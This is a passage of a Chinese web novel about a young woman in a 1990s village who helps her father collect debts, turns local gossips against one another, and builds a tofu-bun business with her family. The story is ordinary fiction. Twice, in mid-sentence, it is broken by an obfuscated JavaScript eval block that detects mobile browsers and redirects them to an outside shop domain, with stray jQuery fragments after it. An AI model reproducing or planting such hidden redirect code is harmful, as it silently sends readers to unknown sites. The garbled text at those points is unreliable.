“他都好意思耍赖,你有啥不好意思上门追债的…” “他都好意思让你难堪,你有啥不好意思甩脸子的…” “他都好意思……” 从来没有人跟喻庆山说过这些话。他九岁死了母亲,跟着父亲和姐姐哥哥过活。老实的父亲最常说的一句话就是“吃亏是福”。村里人也无不称赞他“为人仁义”。 父亲去世后,这个称赞由他继承了。年轻时他曾引以为傲,但到了四十多岁,喻庆山渐渐不以为然了。吃亏就是吃亏,吃亏不会给他带来福气,更不值得当作人生信条推崇。 想不到,他四十多岁才明白的道理,女儿早就看得透透的了。 频繁的洗脑成效卓著,喻庆山再去讨债,腰板都比往日挺直了些。连着跑了四五天,借出去的陈年旧债竟然陆续都追了回来。最后还剩下一家时,秀水懒得去了,让喻庆山自己去讨要。实在要不回来也不打紧,到时她再出马就是。 喻庆山便独自骑车去了那户人家,站在门外,他把“他都好意思耍赖,你有啥不好意思上门追债的”这句话在心里默念了三遍,这才走了进去,打招呼寒喧,然后提起还钱的事。 “家里过段时间想把老房子翻新一下,手头紧,”他局促地笑着,“之前借您的那三百块钱……” 对面的人也讪讪地笑,开始诉苦,早就想还钱了只是家里太困难,老婆生病了要花钱、孩子读书要花钱、牛跌伤了要花钱……,总之一句话,现在实在是没钱。 喻庆山微笑听着,硬着头皮继续讨要,“那要不,您再找别人周转周转?……现在红砖太紧俏,好容易跟窑场那边说了要五千块砖,急等着付定金呢……” 他一张老脸臊得通红,话也说得结结巴巴,但终归是把话说出口了。对面的人继续诉苦,东扯西拉地扯了一大篇故事。喻庆山也继续坐着不走,到最后双方话都说尽了,堂屋里弥漫着令人窒息的沉默。 “他都好意思让你难堪,你有啥不好意思甩脸子的?” 秀水的话忽然从喻庆山脑海中冒出来,他觉得愤怒,也笑累了,就不再笑。面无表情地坐了一会儿,他忽然道:“本来这话不该说的,可是你也知道,我家也有孩子要上学,我家的牛还是跟哥哥一家共用的,孩子她妈腰疼得爬不起来都舍不得去医院……当初是你说买牛急等着用钱,过几天卖了粮食就还我,我才东挪西凑借了三百块,如今都过去六七年了,做人可不能这样……” 老实人轻易不动怒,偶尔发作一次还是效果明显的。最后老头从里屋取了钱给他,还说了很多客气话,才把他送出屋外。喻庆山骑上自行车,恍恍惚惚地走出很远,才发现自己手心全是汗。 当天晚上,全家人都在饭桌上夸他,喻庆山觉得很不好意思。不过,有了这次成功的讨债经历,他迅速膨胀了,甚至觉得这事也没什么大不了,搞不懂自己之前为啥一次也没成功过。 自从跟杨定桂干过两仗,村里人现在看秀水的眼神也不一样了。大家都说,以前那个乖巧懂事的姑娘,现在变得疯疯癫癫的,可别有事没事去招惹她。但当面不招惹,背着她还不能蛐蛐几句吗? 风言风语传得多了,就传到了刘瑞英的耳中。正好这天喻庆海的老婆蒋士芳过来借秤,妯娌俩关系一向融洽,便坐在房里把那些说闲话的人一顿痛骂。 “……我听了那些话,真把我气苦了!”刘瑞英说:“这些人是不是吃饱了没事干?怎么就盯着我家秀水不放呢?” “说来说去还不就是那几个人!”蒋士芳也愤愤地道:“天天坐在大榆树底下闲扯淡!前儿被我听见了,我还过去说了几句。他们看我发火,当时就散了。刚才我过来,看他们又坐在树底下开始了!” “怎么?他们又在说我秀水?”刘瑞英急了,“这回我非过去吵一架不可!” “没有没有!”蒋士芳忙拉住她,“就算听到了你别往心里去。那是什么好人吗?今天说东家,明天笑西家……” 两人说得痛快,没提防秀水在门外听得清清楚楚。她这两天正闲得长草,立刻决定去大榆树下搅一搅这潭浑水,斗一斗这歪风邪气。 到了榆树边,果然有五六个人坐在树下,女人们在择菜,男人抽着烟,说得可热闹了。远远看到秀水过来,大家都警惕地住了嘴,相互使着眼色。 秀水跟没看见一样,搬了个小凳,笑嘻嘻地凑过去,“大爷大妈婶子们,你们在说什么?怪热闹的。” “聊会儿天,随便聊聊!”旁边的人忙笑着答。 “我最喜欢聊天了,那我也来聊一聊!”秀水兴致勃勃看着旁边的老头,“柳大爷,上回你在田埂边笑话李婶子,说她又懒又邋遢,从来不洗锅。是真的吗?那李婶家的锅该脏成啥样了啊?” 对面的李婶又羞又气,怒视柳老头。柳老头又惊又窘,摆手道:“我没说,可不是我说的!” 秀水不理他,又真诚向另一个妇女发问:“王大妈,上回听你说,陈婶的女儿屁股小,以后生不出儿子。为啥屁股小就不能生儿子啊?” 王大妈慌得忙说:“秀水你别胡说啊,这个话可不是我说的……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722569|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但陈婶还是气得拉下了脸,狗东西!老婆娘!你女儿屁股才小!你生的儿子没□□! 秀水又看剩下那两人:“刘叔,你是不是对父母不孝顺?我听人说,你把老人赶去住牛棚,真的吗?” 刘叔立刻叫骂起来:“放屁!哪个狗逼日的在外头传闲话?你听哪个说的?” 秀水便扭头看旁边的马大娘,马大娘连连摆手:“我可没说!我可没说!” 几个人在树下捉对厮杀起来,你骂我我骂你,声音响彻寂静的村庄。秀水坐在旁边看戏,时不时还插两句嘴,劝几句架。直到秀竹寻过来喊她回家吃饭,她才满足地站了起来。 秀竹悄悄问姐姐:“怎么了这是?怎么吵成这样?” 秀水笑,凑在她耳边说:“我就喜欢看狗咬狗。” 秀竹便知道这是姐姐捣的鬼。两姐妹穿过村庄,并排往家走。路上秀竹忽然问:“姐,你还记得咱们小时候的事么?” “嗯?”秀水抬眼看她。 “有天我们和秀真姐顺着这条路去挑猪菜,”秀竹指着旁边一条小路,沉吟道:“碰到了一条很粗的蛇……” 秀水扭头看看,笑了一下,“我俩吓得哇哇叫,最后秀真用竹杆把蛇赶走了。” 秀竹不知怎么的,暗暗松了口气。姐姐仍然是她所熟悉的那个姐姐,只不过,她现在变得坚强勇敢了,…也变狡猾了。 第二天在学校里,趁着午休,秀竹决定给她的笔友写一封信。对方是她在《外星世界》杂志上结识的,两人已经持续通信一段时间了。 闹哄哄的教室里,有人在打牌,有人在打闹。秀竹独自趴在课桌上,认真地把想说的话写在一张信纸上,还神秘地用手盖着写好的部分。 “奇志你好! 很久没写信了。最近家里出了点事,我变得很忙碌,没有时间动笔。 因为我姐姐喝农药了。她去城里当保姆,被雇主欺负了,一时想不开,喝了农药自杀,被送到医院抢救。 你不知道,那天晚上我放学后,听大爷说到这件事时,我有多么惊恐。 我的姐姐是个很善良、很勤快的人,也很听话。妈妈让她学做衣服,她就学了;妈妈让她进城当保姆,她就去了。她心灵手巧,总是把活儿做得很好,还经常给我绣鞋垫、织手套。 在姐姐住院时,我做了很多噩梦,梦见的都是她死了,我们这个家也散了。幸好幸好!姐姐最后被医院救回来了。听妈妈说,本来那晚姐姐的心跳都已经停了,后来不知为什么——我猜一定是医生和护士一直没有放弃抢救吧——很幸运的,姐姐被救回来了。我们全家都因此而感激医院、感谢上天。 但我想告诉你的是,接下来的事情有点奇怪。姐姐回来了,但她经常让我觉得有点陌生。她还是原来的样子,但她会跟人吵架了,还打了村里一个毒妇。那个女人真的很坏,经常欺负我妈,在村里惹是生非,很多人都又讨厌她又害怕她。但我的姐姐把她制服了。 我的心情很复杂。一方面我很喜欢这种改变,我再也不希望姐姐被人欺负了,更不希望她憋屈地服毒自杀。可是,有时我也会想,姐姐的身体里是不是住着另外一个人。是不是她太委屈了,对这个世界太失望了,才让别人代管了她的身体。 那姐姐还是我的姐姐吗?我觉得是。你觉得呢? 今天罗里罗嗦说了很多我家的事。因为这种奇怪的想法,我无法告诉爸妈,也不能跟身边的朋友诉说,只能对你倾诉了。一定要替我保密呀。 顺祝一切安好! 你的朋友绿枝。 一九九零年五月。” 8. 第 8 章 秀水本来想着,要把红英村的歪风邪气好好整顿整顿,但随着五月的到来,树下闲磨牙的人突然消失了,——因为村里人要插秧了。 这是一年中最重要的时节,农村没有一个闲人,哪怕正念初三的喻秀竹,放了学也要快快地骑车回家,帮着做饭喂猪。就连路旁的狗都乖巧了许多,因为它们知道,疲惫的人们缺乏耐心,随意吠叫很容易招来一顿拳脚。 星期天,秀水和秀竹天没亮就跟喻庆山夫妇下了地,到水田里扯秧。她坐在秧马上,——那是一种特殊的坐具,形状看起来像纤细的凳子,但凳脚下有一段光滑的长方形木板。人坐在上面不至于陷进淤泥里,反而能随着扯秧的进度向前滑动。 水稻是需要移栽的。仲春时节,人们把种子撒在肥沃的培养基上,到了五月,秧苗长到一指多长,就需要扯起来移栽进地里。整个过程全部都是人力操作,漫长琐碎又劳累。 再辛苦秀水都可以忍耐,但她受不了的是,水田里竟然有蚂蟥! 第一次看到这种深褐色的虫子,秀水头皮发麻,险些尖叫出声。她天不怕地不怕,就只怕鬼,怕这种丑陋的肉虫子。但是在她的意识发狂之前,手已经朝腿上狠拍了一巴掌。吸附在腿上的蚂蟥缩成一团滚了下去。 秀水硬着头皮在田里干了半天活,直到太阳升得老高,全家人才回去吃早饭。各自扒完一大碗面条,刘瑞英便叮嘱秀水不用跟着下地了。她身体还没复原,不能太过劳累。 秀水松了口气。虽然在家也要干活,但跟插秧相比都是小意思。她快手快脚地喂猪、洗衣服。做全家人的午饭。她在厨房的大土灶忙出一身大汗,炒了个马齿苋和韭菜鸡蛋,煎了腊肉,凉拌了黄瓜。然后把饭菜都放进竹篮里,用自行车驼着,送到了地头。 已经到了中午时分,田里的人干了半天活儿,正是饥肠包辘辘的时候。秀竹走到田埂上,揭开竹篮上的白布,不由惊喜地叫了一声。 “这么多菜!”她晒得通红的脸蛋上绽开笑容,回头喊:“爸,妈,快上来吃饭啦!” 刘瑞英草草洗了洗腿上的泥,接过秀水递过来的饭。只朝竹篮里看了一眼,她就心疼地说:“我的姑娘,这么大手大脚,一壶油能吃几天?” “农忙嘛,油多点干活才有力气。”喻庆山劝老婆,“又不是天天这样吃。” 秀竹吃了一筷韭菜鸡蛋,朝秀水伸出大拇指,“姐,你做饭真好吃!” 刘瑞英撇嘴,“能不好吃吗?放那么多油!” 秀水不语,只是埋头吃饭。从医院回来后,他们家一直吃得很清淡。她本以为这是全家人在照顾自己脆弱的肠胃,没想到,这竟是这家人的生活常态。 这并非是刘瑞英厨艺不好,而是她做饭有两样东西舍不得:这也舍不得,那也舍不得。油盐酱醋都要花钱买,当然能少放就要尽量少放。因为在农村,挣钱是这么的难,而她攒钱盖新房的目标又显得这么的宏伟。 上辈子秀水是一名职业运动员,需要严格控制饮食,每天吃牛排鸡胸肉吃到吐。她本以为自己有生之年绝不会再碰这两样东西,没成想穿到九十年代,清汤寡水了几天,再想起鸡胸肉,竟然有点流口水。 既然现在自己接过了掌厨大权,秀水便决定,要好好改善一下全家人的生活。她才不管能不能盖新房,先填饱肚子再说。又不需要控制体重,谁家正读初中的孩子吃那么差?谁家好人干了一天的重体力劳动,只能吃点水煮菜? 中午稍事休息后,秀水把今年新打的小麦装了大半袋,骑车去附近镇上,磨了几十斤面粉,又买了一板豆腐。在这个家里,购买新鲜猪肉近乎于犯罪,刘瑞英绝不会允许。况且到了下午,镇上也没有卖肉的摊子了。但买点豆腐补充植物蛋白,秀水还是能做到的。 回家后,她先用酵母和了一盆面,再把豆腐切成小块,焯水后碾碎,放入调味料和切得碎碎的葱姜,再淋上热油搅拌,这就是素豆腐包的馅料。 豆腐包子是师娘做得最拿手的面食,也是秀水最喜欢吃的食物,没有之一。每次她回去看望师父和师娘,离开时师娘都会做一大锅豆腐包,荤馅和素馅各一半。这些包子放进冰箱冷冻层,秀水能吃很久。 一下午的时间,秀水蒸了两大锅豆腐包。香味顺着锅沿的水汽四菜,路过的人们都能闻到。有人便问在外面收衣服的秀水:“做啥好吃的?这么香!” 秀水:“蒸点豆腐包子吃吃。” “豆腐也能包包子?”那人诧异地问。 秀水点头,“好吃着呢!” 那人便羡慕:“你可真能干!” 可不是吗?秀水也觉得自己能干。上辈子她从来没做过豆腐包,没想到只尝试了一次就成功了。果然,嘴馋能使人进步。 外面已经暮色四合,在田里劳作了一天的人们陆续往家走。家里的三个人也回来了,一个个累得筋酥骨软,进了堂屋便靠在椅子上休息。秀水先端上来一盆绿豆稀饭,又端了满满一竹筐包子放到桌上,立刻把大伙儿都惊着了。 “哇,晚上吃包子!”秀竹的眼睛闪闪发光。 “这褶子捏的,比包子铺的都漂亮,”喻庆山也很欣喜,“怪不得在外面就闻到香,我还以为是别人家的。” “是不是韭菜鸡蛋馅?”刘瑞英心疼地说:“那蛋我准备攒了卖钱的,你又吃了!” 秀竹咬了一口包子,兴奋道:“不是韭菜鸡蛋,姐,这是啥馅?真好吃!” “豆腐馅。”秀水给每人都盛上稀饭,坐下道:“在城里跟人学的,可惜这家的豆腐太老了,不然更好吃。” “这还不好吃?”秀竹的脸颊鼓鼓的,像只小仓鼠。她边嚼边反驳,“这比肉包子都好吃!” 秀水便说:“赶紧吃,我包了很多。明天你带几个去学校吃。” 刘瑞英忙对喻庆山道:“等会儿送几个给你大哥大嫂子去。人家去医院看过秀水,我们还没还别人人情呢。” 喻庆山答应了,又说:“味道确实好,这豆腐怎么一点豆腥味都没有?” “那自然是我的配方好,别人都做不出来这味道的!”秀水大言不惭地替师娘吹了一波,想到这边人很少有人做豆腐馅的包子,便沉吟道:“要不我明儿蒸点包子,骑车到城里去卖,怎么样?” “肯定有人买!”秀竹忙道:“姐,我保证有人买!” 刘瑞英也是一听就心动。以前秀水面嫩,让她去城里做小买卖,她张不开嘴吆喝。现在她愿意去卖包子,当然再好 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她先到菜场去看了看,高峰时段已经过了,里面没多少人。倒是旁边有个摆摊的听说卖的是豆腐馅包子,掏出一块钱买了四个,吃得津津有味。其他摊主被吸引过来,也纷纷过来围观。 “啥包子?豆腐馅的?没吃过。” “那就买两个尝尝呗。” 还有人问那正吃包子的摊主,”老刘,好不好吃?” 老刘点头:“蛮有味!” 一时许多人掏钱来买,秀水一边接钱拿包子,一边道:“包你好吃,吃了还想吃。” “怎么不早点过来卖?”又有人看她年纪轻,指点道:“都快中午了,谁家还在外头买包子!” “明天早点来,”秀水笑道:“今天没经验,搞迟了。” 等这一波卖完了,她在菜场附近守了会儿,又骑车去了附近的居民区。一边在小巷里慢慢穿行,一边大声吆喝:“卖包子来!新鲜的豆腐包子,又香又辣真好吃!” 就这么逛了一个多小时,陆续卖出去一些,秀水找块荫凉地歇了一会儿,吃了两个包子,找一位大娘讨了碗水喝了,又骑车去了附近一所小学旁边。刚到地方,就赶上孩子们放学,一波波孩子如潮水般往外涌。 秀水忙大声招呼:“卖包子!刚蒸的豆腐包!一块钱四个!又香又辣真好吃!” 便有孩子闻声跑过来,你买两个,他买两个。等学校门前的人空了,剩下的包子也都卖完了。 秀水这才骑着自行车往回走。一路紧赶慢赶的,到家时天都黑了。刘瑞英正端着碗站在家门口,担忧地朝路上张望。 “怎么这么晚才回?”她关切地问:“卖完了没有?” 秀水累得不想说话,只朝她点点头。到了家门口,喻庆山闻声迎出来,帮她把车搬进去。秀竹也早给她把稀饭盛好了。 秀水咕嘟咕嘟喝完一碗稀饭,才把钱袋拿出来。第一次出门卖东西,她忘了带水。可渴死她了。 “五十多个包子,卖了13块钱。”她说。 “全都卖出去了?”喻庆山满脸欣喜和不能置信。 刘瑞英则立刻从中看到了商机,并迅速算起了账:“明天咱们赶早去。要是一天能挣二十块钱,一个月就是五六百!你舅舅上了十几年班,一个月工资也才两百二!” 9. 第 9 章 区区13块钱,给刘瑞英和喻庆山带来的刺激,不亚于13个亿。 秀水之前一直不太明白,为什么刘瑞英削尖脑袋也要让女儿进城。虽然出生在九十年代,她对这个时代的记忆并不深刻。但是,在红英村生活了一段时间后,秀水真的理解了刘瑞英的想法。因为,八九十年代的农民生活得太苦了。 上辈子她曾在书里看到,我国发展工业的初级阶段,靠的是扩大工农业的“剪刀差”。也就是说,工农业产品交换时,工业品的价格高于价值,农产品的价格低于价值,造成的这种差额就叫作“剪刀差”。 体现在一个农民的日常生活中,可能就是地里种出来的农作物都不值钱,但县城里卖的东西却都很昂贵。一台黑白电视机八百多,一台缝纫机五百多,而一个农家辛苦一年,可能挣不到一千块钱。 豆腐馅包子也不值钱,拳头大的包子,一块钱能买四个。但这无疑比直接卖小麦要划算得多。一袋小麦挣不来一百块钱,磨成面粉包成包子,却可能挣来好几百。 刘瑞英和喻庆山劳作一天的疲惫一扫而空。整个晚餐时间,他们都在兴奋地讨论,如何把豆腐包生意做大做强。就连秀竹都兴奋地跟着出了些主意。 “明天我跟你一起来做包子!蒸好了早点出门!”刘瑞英说。 “我再用泡沫板做个箱子!”喻庆山说:“一个箱子小了,怕不够装。” “应该今天就把豆腐买来放家里的。”刘瑞英又说:“可惜天晚了,镇上豆腐摊都收了。” “那明天我放学时,我从镇上买了豆腐带回来。”秀竹说。 刘瑞英忙又传授她一些挑豆腐的技巧,千叮万嘱她要看好秤,小心被人骗了,然后才道:“等秧插完了,咱们就自己在家磨豆子做豆腐。你爸会做那个,他其实可聪明,跟别人做过一遍就会了。” “对!我做的豆腐比外头好吃!而且咱家的黄豆不花钱。”喻庆山也肯定道。 …… 秀水吃完饭才缓过来,想了想说:“竹子,拿毛笔在我箱子上写几个字,就写‘秀水豆腐包’。” “好!”秀竹忙去找来笔墨,又说:“这个办法好,大家以后买豆腐包,只认我姐做的!” “对,得扩大咱家包子的名气。”喻庆山也点头。 秀竹饱蘸浓墨,在箱子的正面郑重写了“秀水豆腐包”五个字,又在两侧都写上了“一元四个”。写完她偏着头打量,对字号大小颇感满意。 第二天凌晨,半夜三点刘瑞英就起了床,独自在厨房和了一大盆面。喻庆山也没有第一时间下地,而是骑车赶早去镇上买豆腐。等秀水也起了床,开始处理馅料。然后全家人一通忙碌,五点多钟秀水和秀竹便骑车出了门。 秀竹的车后座上放着两箱包子,把轮子蹬得要冒烟。秀水骑空车都追不上她。半路上两姐妹交换了车辆,秀竹骑空车回去上学,秀水继续出发去县城。到县城时才不到七点,她赶紧去了菜场。 时近初夏,菜场里人声鼎沸,正是早市最繁忙的时候。秀水推着车,一边往里走,寻找摆摊的空位,一边大声吆喝:“才蒸出来的豆腐包子!又大又香的豆腐包!比肉包子还好吃的豆腐包!” 一路上不停有人询价,也有人掏出钱来买。在菜场里头绕了一趟,卖出去二三十个包子。秀水又赶紧骑车去了中学旁边。 七八点钟,正是初中学生上学的时候。这里也有些小吃摊,生意反比菜场的要忙碌。路过的孩子停下来,用手里零钱买点吃食当早饭。在这里卖了一波,看着学生渐渐稀少,秀水又忙推上车,去了附近小学门口。 小学比初中上学晚,此时来往的孩子和大人还比较少。但是有几个送孩子的老人听说是豆腐包,他们没吃过,便摇一摇头便走了。秀水有点着急,看看旁边小卖部,老板娘才开了门,她便拿了两个包子过去,说:“婶婶,尝尝我家的豆腐包,不要钱,免费请您尝!” 老板娘挺过意不去,说:“哎哟,不要不要,怎么好白吃你的!” “婶婶,我是想请您帮忙,”秀水说:“一会儿有人来了,您就站我旁边吃包子,夸一夸这包子的味道。” 原来是想让她当托儿,老板娘笑了起来,接过包子尝了一口,“哟”了一声说:“挺好吃的啊,怎么卖的?” “一块钱四个,”秀水说:“我们家今年的新小麦磨的面粉,可新鲜可香了。” 文具店大清早没什么生意,老板娘便站到秀水的自行车旁边,一边慢慢吃包子,一边跟她聊家常。不过几分钟时间,学校门前的行人便多了。有家长送孩子来的,也有孩子们三五成群自己来的。看到有卖包子的小摊,旁边还有人站着吃包子,便有人停下脚问问豆腐馅味道如何。 老板娘便在旁边道:“我也是第一回吃豆腐馅包子。怪好吃的,说是她家刚打的小麦做的。” 围着买的人便多了,老板娘功成身退,自去店里忙她的生意了。就这么着,很快一百多个包子就见了底。等上课铃声响起,秀水清点了箱子,发现只剩二十几个了。 从清早就现在,她就没歇过,便找个台阶坐下,慢慢吃着包子喝着水。等歇过劲来,又骑车去了各小区喊着卖。全部卖完骑车回家,才刚过中午。 刘瑞英和喻庆山正在家吃午饭。桌子上摆着炒青菜和咸菜条,——虽然家里蒸了包子,但她是舍不得吃的。能卖钱的东西,自己吃多浪费啊。看到秀水进屋,忙问:“怎么了?怎么这么早就回来了?” 秀水坐在椅子上,往外掏毛票。很多五毛一块的,甚至还有一张五块的大票。刘瑞英又惊又喜,放下筷子帮着清点,一共是二十九块五毛钱。 刘瑞英激动得手直抖,把钞票一张张抹平整了,说:“就算刨除豆腐调味料这些,也挣了不老少了!” 喻庆山给秀水盛了碗饭,说:“怎么今儿回来得这么早?” 秀水便把摆摊路线告诉他们,又说:“还是得早点去,主要是学生们买得多。” “城里好,连孩子都有钱!”刘瑞英忙起身往厨房走,大方道:“我给你炒两个鸡蛋去。下午你就在家歇着。” 在金钱的刺激下,刘瑞英和喻庆山仍然精神抖擞地下地去了。秀水却是在家补了个长长的午觉。她能感觉身体在康复,但目前还是太容易累了,刚刚到家时她觉得腿都拖不动了。 整个农忙季,刘瑞英像打了鸡血一样。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722571|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每天早上两三点就起床和面,后来心疼女儿,又让秀水教她和馅。等秀水起床时,她和喻庆山早就蒸出一百多个包子了。 等秀水和秀竹驼着包子走了,她和喻庆山才匆忙吃顿早饭,然后下地插秧。中午来得及,两口子就炒点菜,来不及就吃冷馒头就咸菜,然后在床上睡半小时午觉就又下地了。 秀水的包子生意一直很不错。她心眼儿活络,脑瓜子聪明,知道哪儿人多去哪儿卖。一天总能卖一两百个包子。只有一回碰上城管上街整顿秩序,她远远看见了,忙骑着车躲进小巷子。耽搁了早上那波生意,尽管后来在居民区叫卖了半天,却也剩了二十多个包子。 拿回家后,刘瑞英心疼地吃了两个,又把剩下的包子分装了,分送给关系好的那些乡邻。尤其是喻庆海和蒋士芳家,喻庆山送过去十个大包子。蒋士芳笑得眼睛都没缝了,一边推辞,一边喜滋滋地收下,转头又送了一袋炒米花过来,让他们搁上猪油白糖泡着吃。 但村里也开始有人笑话喻家人了。喻秀水天天早出晚归,他们看不到,只知道他家厨房每天都蒸包子。大忙月里,不想着下地干活儿,天天在家做吃食,这样好吃懒做的姑娘,以后怎么嫁得出去? 甚至还有人在路上碰到刘瑞英,含酸带刺地问她:“怎么没看见秀水下地?又在家做饭哪?你们也太心疼女儿了吧!” 很奇怪地,刘瑞英并没有感到被冒犯。她脸上笑嘻嘻地敷衍两句,心里却想,你知道个屁!我姑娘能干着呢!她靠做饭挣的钱,你这辈子都没见到过! 卖豆腐包给家庭带来的额外收入,让她感到踏实,让她对生活充满干劲儿,甚至开始无视周围的闲言碎语。 过了几天,秀水在菜市场卖包子时,碰到了粮食局宿舍区的刘妈。刘妈是门卫的老婆,话特别密,看到秀水,忙拉住她见缝插针式地聊起了天。她告诉秀水,李家最近闹翻了天。秀水走后,李家本来想再找个保姆,可他们家儿子调戏保姆的事传了出去,谁家好人还敢把女儿往他家送?家里有个不满周岁的孩子,又还有个骨折的病人,正是一团糟的时候,李局长竟然要跟老婆闹离婚。 王仁芳也不是好欺负的,她先是一哭二闹三上吊,看见丈夫铁了心,她便一不作二不休,向粮食局领导举报李副局长倒卖统购统销粮。粮食局的粮食分两种,一种是国家统购统销,价格才五分钱一斤,这是有指标的;还有一种是没有指标的商品粮,四毛五分钱一斤。李副局长伙同粮站的一个站长,把统购粮按五毛钱一斤卖到粮厂去,赚来的钱大伙儿分了。 这事儿本来粮食局的一把手打算死命按住的,因为分钱的事他也有份。谁知最后还是被有心人报到市里,现在市里来了人,正在粮食局里调查,局领导已经是抓进去几个了。王仁芳又后悔不迭,天天去市里哭闹不休。 “幸亏你走得早!”刘妈庆幸道:“你要是继续给他家干活儿,等老李坐牢,谁还会给你工钱?也好笑,李局长一倒台,王仁芳再也威风不起来了。以前路过门卫室,哪曾正眼瞧我们?昨天碰到我了,还跟我搭话,问我小青菜哪儿买的,我没理她……” 秀水听了,心情颇为舒畅,临走前还请刘妈吃了个豆腐包。 10. 第 10 章 等家里插完秧苗,地里点了豆,刘瑞英便把家中石磨找出来,清洗干净,准备磨豆浆做豆腐。 这不光是为了省钱,也因为天渐渐热了,豆腐不经放。头天晚上买的豆腐,哪怕湃在水里,第二天也容易变质。自家人吃的还好说,拿出去卖的东西,当然要保证口味,否则不是砸自己招牌么? 头天下午,她就把黄豆淘洗了泡上,第二天凌晨,一点钟两口子就起床,把泡好的豆子用石磨细细地磨出来,滤出豆浆,在大灶里煮开。然后喻庆山点进卤水,豆浆就变成了豆花。把豆花放进特制的木头格子里,用布包好,上面放上石头,压一段时间,豆腐就成了形。趁着这个空档,刘瑞英再赶紧和面发面,等豆腐做好,面也发起来了。 新鲜豆腐甚至不需要焯水,直接切碎了调好味,就可以包了。紧赶慢赶蒸出第一笼包子,喻庆山才会去叫大女儿起床。 因为用的是自家的黄豆,刘瑞英大方了很多。现在家里的早餐经常是豆浆或豆腐脑,有时配豆腐包,有时配馒头。滤出来的豆渣也能吃,把野菜或地里的青菜切碎了,和豆渣放在一起煮,这便是渣合菜了。 这菜自有一种独特的菜香和豆香,头两天端上桌时,家里人人爱吃。连吃了一个星期后,秀水和秀竹都不愿意碰它了。 但家里的豆渣永远不会浪费。除了自家吃、送人吃之外,剩下的都喂了猪。猪的伙食改善了,眼看着也毛色鲜亮了起来。 卖了一个月包子,刘瑞英算了个账,刨除成本,净挣五六百多块钱。全家人都喜出望外。 手里有了钱,秀水偶尔也会赶晚市,买点荦腥回来吃吃,有时是猪下水,有时是猪大骨。第一次把猪大骨带回家时,刘瑞英忍了又忍,才没作声。 秀水觑她一眼,说:“不吃点油水,我都没力气蹬车了。而且秀水马上要中考,你和我爸也天天干那么重的活,不该吃点好东西吗?” 要搁上辈子,她怎么都想不到,自己有朝一日能把几块剔得干干净净的猪大骨称作“好东西”,唉,真是此一时彼一时啊。 刘瑞英似乎有些良心发现,没有就此事再发表评论。第二天她炖了猪大骨冬瓜汤,下了面,还破天荒煎了三个荷包蛋。 没想到秀水看到那三个荷包蛋,第一次发了火。 “家里四个人,你非要只煎三个蛋,”秀水皱眉道:“到底不让谁吃?” “我不吃!”刘瑞英恼火地说:“家里好饭好菜的,还非得吃荷包蛋哪?” 秀水气得转身就走,“那我也不吃了!家里又不是没鸡蛋,你非要让我们感到愧疚吗?” 刘瑞英忙端着碗追出来,气急败坏道:“你吃你吃!我再去煎一个!再煎一个总行了吧?” 她嘀咕着去厨房里,心疼地给自己也煎了个蛋。没舍得放油,煎得有点糊。 喻庆山和喻秀竹都默不作声,各自端着碗背过身去笑。刘瑞英在这个家说一不二这么多年,总算碰到对手了。 有一次晚市的猪肉摊上还剩下一串猪大肠,秀水买回家,洗得干干净净的,晚上给大家做了卤肥肠。饱浸汤汁的肥肠被筷子挑出来,切成小截,和辣椒炒了端上桌,又香又糯,□□弹弹,比肉还好吃。 秀竹吃着炒肥肠,美滋滋地说:“哇,我怎么觉得家里天天像过年啊。”平时只有过年家里才会出现这么美味的食物。 喻庆山给老婆挟了一筷子菜,也说:“这个肥肠味道真好。拿出去卖都有人要。” 刘瑞英埋头吃着饭,心疼地默默计算着肥肠、卤料的花销,听到“卖”这个字眼,顿时眼睛一亮。 “要不卤点去县城卖!”她说:“明天我去镇上,买点肥肠回来卤了试试看。” 既然豆腐包子那么好卖,没道理这么好吃的肥肠卖不出去。秀水也同意了,并说:“我可以搭着包子一起卖。” 刘瑞英立刻兴奋了,大口吃了一筷子肥肠,还说:“还有没有?明早下面条吃,用这个当浇头正好。” 得知秀水留了不少,秀竹欢呼雀跃,“妈,明天我要吃一大碗面条。” 随着伙食的改善,喻秀竹的个子明显往上窜了一截。喻庆山和刘瑞英每天那么辛苦,脸色竟然比之前看着还滋润了,就连秀水自己,也感觉丢失的力气回来了,去县城两个小时的路程,她自行车蹬得快时,一个半小时就能赶到。 不过做买卖就怕下雨。因为出村的那条路是没硬化的土路,一到下雨就泥泞不湛。所以现在刘瑞英一看到天阴了就觉得懊恼。家里指着豆腐包挣钱,耽误一天她都觉得心疼万分。 进了六月,连着好几天都下起了雨。虽然缓解了地里的旱情,但豆腐包生意大受影响。不过刘瑞英两口子还是蒸了一百多个包子,让秀水带去县城试试。 门前那条路泥泞得连自行车都推不出去了,大清早,喻庆山用肩扛着自行车,刘瑞英和秀水各抱一箱包子,三人一起往外走。直到上了柏油石子路,喻庆山才把车放下,和老婆搭手把两个箱子绑在自行车后头,上面再蒙一层塑料布。秀水穿上雨衣,骑车飞快往县城赶。雨水很快把脸打湿了,她甩甩脸、抹干水继续骑车。紧赶慢赶到了城里,早上上学的那拨人已经散了。 下雨时街上的摊贩都少了许多。她在中学和小学门口卖出去几十个包子,就开始骑车在各居民区转悠,中途因为雨势太大,不得不在街边屋檐下歇了会儿脚。 